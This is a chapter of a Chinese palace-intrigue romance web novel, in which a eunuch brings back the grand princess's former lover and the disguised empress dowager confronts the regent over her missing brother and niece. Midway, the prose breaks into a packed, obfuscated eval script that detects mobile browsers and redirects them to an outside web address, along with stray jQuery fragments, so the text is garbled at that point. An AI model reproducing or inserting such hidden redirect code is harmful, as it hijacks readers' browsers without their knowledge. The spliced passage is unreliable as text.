24. 第 24 章
作品:《权臣强闯太后寝宫后》 翌日,梅景行又去大长公主府拜访。
因着上回那套头面,大长公主没给梅景行好脸色,任由他跪着回话。
梅景行也不恼,只道:“奴婢今日来,是来为陛下答谢大长公主。陛下见大长公主和太后之间的和睦相处,心情极好,便命奴婢想法子在宝库里寻一件大长公主喜欢的物件儿送来。”
大长公主不感兴趣,讽笑道:“我库房里什么稀罕宝贝没有?不过总是陛下一番好意,你把东西放下便回宫去吧。你是大忙人,陛下身边离不了你。”
梅景行笑道:“正是如此,我也是这么回的陛下,宫里这些宝贝都是大长公主当年挑剩下的,奴婢担心您瞧不上,便给大长公主寻了个故人回来——您要不要见一见?”
故人?
大长公主坐直身体,骂道:“你们这些阉人,没事少给陛下添麻烦!少在本宫身上动歪心思,本宫没空陪你胡闹——”
话音未落,一个身着白衣,高高瘦瘦,面容白净,五官精致的男子走进来,跪在梅景行身旁,给大长公主磕头。
大长公主激动得将他扶起,问:“你回来做什么!”
“奴婢当惯了狗,离开京城去过人的日子,反而有些不习惯。”那人双目含情。
大长公主对他说:“罢了,他既然把你送回我身边,你就别走了。反正皇兄已经不在,我看谁还敢为难你。”
大长公主眼风扫向梅景行,冷声道:“你起来吧!无事献殷勤,非奸即盗,你把孟洪从琼州带回来,是想从本宫手里要什么好处?”
梅景行道:“李穆逼着大长公主遣散府中面首,奴婢担心大长公主寂寞,便将孟公公从琼州寻了回来,这只是奴婢的孝心,奴婢没有别的企图。”
大长公主扫了他一眼,明显不信。
梅景行笑道:“只是奴婢忽然想起一件事——”
“什么事,说罢,别绕弯子。”大长公主不耐烦他玩这些虚礼。
“奴婢只是想告诉大长公主,李穆昨夜闯入太后寝殿,又被太后赶了出来。”
说完,梅景行便退出大长公主府。
厅内只剩下大长公主和昔日的司礼监大总管孟洪,他从前也是大长公主的面首,比大长公主小二十岁。后来犯事,被逐出京。
大长公主抚摸他俊美光滑的脸,感慨道:“我已经老了,你还这么年轻,你回来找我做什么?”
孟洪双手将大长公主搂在怀里,手指轻轻摩挲着她的背脊,道:“在狗的眼里,主人无论何时都是最美的。”
大长公主脸靠在孟洪胸膛,道:“从前你说这些,我虽听着高兴,却从来不信。可你如今还愿意回来找我,我便没有理由不信你了。”
“奴婢对殿下说的每一句都是真的!”孟洪把大长公主打横抱起来,一步步朝里走:“刚才听殿下正在为李穆的事发愁,奴婢倒想起一桩旧事——”
“什么旧事?”
“当年李穆与朱家二小姐成婚后,第二日便和离。此事闹得沸沸扬扬。殿下可知那位朱家二小姐去了哪里?”
“无名之辈,本宫怎知她的去向。”大长公主忽然惊呼一声,娇声斥道:“本宫已经老了,经不得你这么折腾,你——你还不放尊重些!”
……
一个时辰后,大长公主换了身衣服从寝殿出来,召来心腹吩咐一番,道:“事情办好,本宫重重有赏。若办不好,哀家要你全家狗命!”
心腹额头冒出一层冷汗,吓得瑟瑟发抖:“是,属下领命!”
与此同时,朱归禾进宫来接榕姐回家。
和榕姐在一起的时间太开心,若不是宫里太危险,朱凝眉真想让榕姐再多住几日。
朱凝眉看着大哥脸上的巴掌印,道:“嫂嫂既然不满榕姐进宫,你以后还是别带榕姐进宫。”
朱归禾还没说完,榕姐便道:“不行,我以后还要进宫看望太后姑母。”
朱归禾哄着榕姐说:“榕姐先去马车上等爹爹,爹爹和姑姑说两句话便来。”
榕姐懂事地点点头,对朱凝眉挥挥手,便让朱胜抱着往马车的方向走。
朱归禾道:“昨日你和李穆针锋相对,实在不应该。这话我本不该说,李穆现如今对你执迷,未曾细究你昨日露出的破绽;大长公主只顾看戏,也未将这些放在心上——”
朱凝眉疑惑:“我昨日露出什么破绽?”
“你说先帝不愿喝药那段,实在破绽百出。先帝威严庄重,怎会说出那样的话?你以后要瞎编,需在脑子里仔细想一遍再说出来。”
“我可不是瞎编,这是先帝在朱家小住时,这是我亲耳听到的。先帝在你们面前自是威严庄重,他在姐姐面前装痴求饶又怎会让你瞧见?”说到这里,朱凝眉心情又难过起来:“大哥,姐姐出宫后,会不会找个没人的地方自戕,悄悄追随先帝而去?”
“你怎么这样想?”朱归禾沉吟道:“我们已经打听到她的下落,她还活着。”
“那我岂不是马上就能出宫回上大——”
“没那么快!”朱归禾柔声拦住她的话,悄声道:“有些事,等你哪日有空出宫再详谈。”
“大哥!”
“别急,她现在正心死如灰,你忍心让她去迎合李穆?依她的性子,恐怕她宁可与李穆玉石俱焚。”朱归禾道:“目前看来,这个太后,你当得比你姐姐更好。至少李穆现在已经同意让陛下上朝听政,南北各司政务也在步入正轨。李穆不发疯的时候,还算是个对朝廷有用之人。”
不知为何,朱凝眉又想起那日在忠勇侯府,听李穆发疯时说的那番喝血、吃肉、拆骨头熬汤的话。
在李穆心里,大哥也算拆他骨头熬汤的那些人吗?
想这些也没用。
反正姐姐就快回来了,她还操心这些做什么。
无论先帝和李穆联手布了什么局,和她也没有多大的干系。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16548352|185094||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
朱凝眉站在宫门口,送别大哥与榕姐。
马车缓缓驶出宫墙甬道,朝宫外而去。
回到安宁宫,想起晚上李穆要来,朱凝眉不得不打起精神做准备。
这些年她当惯闲云野鹤,糙日子过得极自在。
刚入宫时,梅景行领着一群人过来,要给她泡药浴,敷面,在她身上大动干戈,她没同意。
太麻烦了!
但今日不同,既然她已经不能反抗,那还不如把自己收拾得清爽一点,让李穆尝到甜头之后,更方便拿捏他。
反正她在宫里的日子也不长了。
这次她出了宫,往后和李穆便是一辈子不复相见。
也该折腾折腾他,等她出了心里这口恶气,以后想起他,才不会像个怨妇。
被梳洗打扮了两小时后,朱凝眉感觉自己焕然一新,全身肌肤像是鸡蛋剥了壳一样细嫩。
她看着镜中的自己,又有些后悔自己不该如此郑重其事。
便宜了李穆那个混蛋!
心里这样想着,忽然有小太监进来禀报:“太后娘娘,朱太傅的夫人遣人进宫禀报,问朱太傅和小小姐什么时候回家。”
“他们没回家吗?”朱凝眉站起来,心情忐忑不安:“梅景行呢,快把他叫来!”
“掌印出宫办事,还没回来。”掌事姑姑悦容回答。
朱凝眉心里咯噔一下,问:“李穆在哪里?”
小太监回答:“他在承乾宫看奏折。”
小太监还没想明白,朱太傅的事和李穆有什么关系,只见太后已经疾步往承乾宫去。
悦容姑姑连忙带人跟上。
朱凝眉气势汹汹来到承乾宫,看见站在门口的金吾卫,随手抽了把剑,冲到殿内。
彼时李穆正在和几位辅政大臣共同商量国策,小皇帝陆憺在一旁听政。
李穆见她仿佛刻意打扮一番,才来找自己,对她温柔一笑,再让各位辅政大臣先去休息。
好奇心满满的陆憺也在李穆的注视下,不得不离开。
等殿内只剩下李穆和她,李穆笑着看她手中的剑,问:“你这是做什么?”
“你把榕姐和我大哥关在哪里?”她举起剑,对准他的心口。
“我关他们干什么?”李穆眉眼一沉,冷声质问。
不是李穆做的?
朱凝眉头昏脑胀,一时间不知如何是好。
一旁的掌事姑姑悦容迅速把事情来龙去脉跟李穆讲了一遍,李穆听完冷笑:“人并非我带走。为免嫌疑,此事我不便介入。太后娘娘若要寻人,还请另觅贤能。”
“我也从未奢望你帮忙寻人。今日便是我大哥与榕姐有什么三长两短,也是他们命中该有此劫!”朱凝眉忍痛说完这句,转身便走。
李穆望着她倔强的背影,被气得钻心似的疼。
昨夜嘴巴那么甜,怎么今日就不会说两句好听的话!